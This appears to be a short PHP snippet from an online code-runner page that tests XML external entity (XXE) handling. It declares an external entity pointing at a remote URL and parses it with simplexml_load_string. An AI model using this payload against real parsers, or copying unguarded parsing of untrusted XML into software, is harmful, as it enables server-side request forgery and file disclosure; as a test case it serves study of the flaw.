<?php $xml = <<<EOT <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [<!ENTITY xxe SYSTEM "http://exploited.cz/robots.txt">]> <foo>&xxe;</foo> EOT; // $x = simplexml_load_string($xml); $x = simplexml_load_string($xml); var_dump((string)$x);
You have javascript disabled. You will not be able to edit any code.